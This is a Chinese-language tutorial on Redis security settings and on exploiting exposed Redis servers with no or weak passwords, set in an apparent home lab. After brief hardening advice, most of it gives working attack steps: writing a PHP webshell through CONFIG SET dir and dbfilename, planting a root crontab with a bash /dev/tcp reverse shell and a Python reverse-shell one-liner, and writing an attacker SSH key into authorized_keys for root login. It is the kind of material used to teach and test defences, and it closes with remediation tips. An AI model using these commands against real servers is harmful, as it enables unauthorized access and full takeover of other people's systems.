Redis配置及攻击利用

Redis及其安全配置

Redis介绍

redis默认会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将 Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config 命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器；redis可以被外部用户每秒尝试150k次密码，这意味着需要高强度的密码；极度BT的可能会重命名redis中的config命令...

Redis常用命令

redis-cli -h 目标IP -p 指定端口	连接redis
FLUASHALL	清除数据库
auth password	使用password登录
save	更新rdb缓存
info	查看版本、服务器信息
set x "Zh1z3ven"	将x键值设为Zh1z3ven
get x	获取key为x的值
KEYS *	查看所有键
CONFIG GET dir	获取默认redis dir
CONFIG GET dbfilename	获取rdb文件名
CONFIG SET dir	重设dir路径
CONFIG SET dbfilename	重设rdb文件名

Redis配置文件&安全设置

主要分为设置访问密码，修改默认端口，绑定ip。

//设置访问密码

#

# requirepass foobared

//设置默认port

# Accept connections on the specified port, default is 6379.

# If port 0 is specified Redis will not listen on a TCP socket.

port 6379

//设置绑定IP

# By default Redis listens for connections from all the network interfaces

# available on the server. It is possible to listen to just one or multiple

# interfaces using the "bind" configuration directive, followed by one or

# more IP addresses

#

# Examples:

#

# bind 192.168.1.100 10.0.0.1

# bind 127.0.0.1

0x01 开启密码访问设置

#

requirepass 123456

此时通过未授权的方式无法正常登录

使用密码登录的两种姿势

# 0x01

redis-cli -h 192.168.124.153 -p 6380

ip:port>auth password

# 0x02

redis-cli -h 192.168.124.153 -p 6380 -a password

0x02 修改默认端口

默认绑定在6379 可以在配置文件redis.cong中修改

修改为6380，重启redis

# Accept connections on the specified port, default is 6379.

# If port 0 is specified Redis will not listen on a TCP socket.

port 6380

0x03 修改绑定IP

在这里通常会有一个认知误区，就是这个绑定IP不是绑定外来访问的地址（比如公网ip或同段内网ip）而是绑定自己服务器允许作为与外部进行连接的ip地址比如环回ip，内网ip，外网ip；绑定0.0.0.0的话就是绑定自己服务器全部的ip，那绑定自己外网ip和0.0.0.0是没什么区别的，在没有高强度密码保护的情况下很不安全。

绑定回环ip

回环ip可连接，同段ip已无法访问

设置绑定内网ip

ps:如果想要确保redis安全,还是需要高强度密码+合适的bind ip且最好不要暴露在外网

redis的攻击利用

写入webshell

前提条件

1.可连接redis(未授权或弱口令)并执行redis指令

2.开了web服务器，并且知道路径，还需要具有文件读写增删改查权限（我们可以将dir设置为一个目录a，而dbfilename为文件名b，再执行save或bgsave，则我们就可以写入一个路径为a/b的任意文件。）

利用过程

注意写入webshell的时候在一句话两边加上/r/n的换行符，因为用redis写入的文件会自带一些版本信息，如果不换行可能会导致无法执行。

192.168.124.153:6379> config set dir /var/www/html

OK

192.168.124.153:6379> config set dbfilename shell.php

OK

192.168.124.153:6379> set webshell "\r\n\r\n<?php phpinfo() ?>/r/n/r/n"

OK

192.168.124.153:6379>

观察靶机已成功写入

利用计划任务反弹shell

反弹shell还是要根据实际情况来,比如ubuntu和centos反弹的命令会有区别,一般是因为sh软链接指向的是dash还是bash,一般反弹shell是bash,而dash的shell只有运行脚本的能力没有交互能力所以反弹ubuntu的shell可能需要换脚本.

参考文章:https://blog.csdn.net/sdb5858874/article/details/81837440

攻击机监听端口

nc -lvvp 22222

redis写入反弹shell的计划任务

每分钟反弹一次shell

192.168.124.153:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.124.141/22222 0>&1\n\r\n\r"

OK

192.168.124.153:6379> config set dir /var/spool/cron

OK

192.168.124.153:6379> config set dbfilename root

OK

192.168.124.153:6379> save

OK

192.168.124.153:6379>

python版本

*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

导入ssh私钥远程登录

当redis以root身份运行，可以给root账户写入SSH公钥文件，直接通过SSH登录目标服务器。

利用过程

生成ssh私钥

root@kali:~/.ssh# ssh-keygen -t rsa

Generating public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /root/.ssh/id_rsa

Your public key has been saved in /root/.ssh/id_rsa.pub

The key fingerprint is:

SHA256:4VEO6Gjtb4l0aSNyPFzhNzjXwLJ2g8x2/JoP27KVpuM root@kali

The key's randomart image is:

+---[RSA 3072]----+

|       ....      |

|      . o+o      |

|     + +oB.o     |

|    o o.%oO .    |

|   . + +SB +     |

|    . O =   ..   |

|     + B o.o+    |

|      . + =B     |

|       . .E=o    |

+----[SHA256]-----+

root@kali:~/.ssh# ls

1.txt  id_rsa  id_rsa.bak  id_rsa.pub  known_hosts

将新生成的id_rsa保存在redis.txt文件中

root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redis.txt

root@kali:~/.ssh# ls

1.txt  id_rsa  id_rsa.bak  id_rsa.pub  known_hosts  redis.txt

将保存的redis.txt写入redis

cat ~/.ssh/redis.txt | redis-cli -h 192.168.124.153 -p 6380 -a 123456 -x set crack

登录redis查看私钥是否写入,并将路径改为/root/.ssh

192.168.124.153:6380> flushall

OK

192.168.124.153:6380> config set dir /home/root/.ssh

OK

192.168.124.153:6380> config set dbfilename authorized_keys

OK

192.168.124.153:6380> cat redis.txt | redis-cli -h 192.168.124.153 -x set crack

(error) ERR unknown command 'cat'

192.168.124.153:6380> get crack

"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB6GBUIZ5ftcFpS4Twkk9NTsp77/uZZDMRomxAF66aCux2QOL/0WAuZXZho62lxJVI0AL+MSkbcJznsyR/ZONTDzKHu6hXaq6IohWQ78dvOLcGmPUqUVptn0Ed5Bx4VGk2o6yKoSTWVzfgzRWgGsodA4e8lGNAz+cdM9I6ot+l4quiGD6AgrepSRmQBCbPEyVyVAZtYOqSieVXyFGtIr26C3uutemyzYtG9hVSjdcNNFGNRa3ZOn0W2zRirQh+PI4/lZGP2rT8Dilh1qv2ntlXZ0F8Dh/wAxTR1CquhUst9V89ilbOW/tPDg4oDTqL3H9uuyajhQw/nl8uqAmcKGDsoUUSBg+DUnXEFLgQqvsmwFC5LkV1hF4+JGiYgFPb2wd7x0+eRnCC7s7QaodFXqlYmcdqQK6rDTUMVVx3n9uZ2asemYYr6V1lpFW17QMwh1lBNwHGTl8xRiE4DQXp0Bpk2/jYF+5CP2k1Dwz0Fd+rNYH8/hACf1/8ZFjj1IJ+MRk= root@kali\n\n\n\n"

192.168.124.153:6380> save

OK

ssh

ssh -i id_rsa root@192.168.124.153

修复建议

1、设置bind ip

2、开启访问密码认证

3、修改默认端口

4、做好acl访问控制，redis服务不要暴露在外网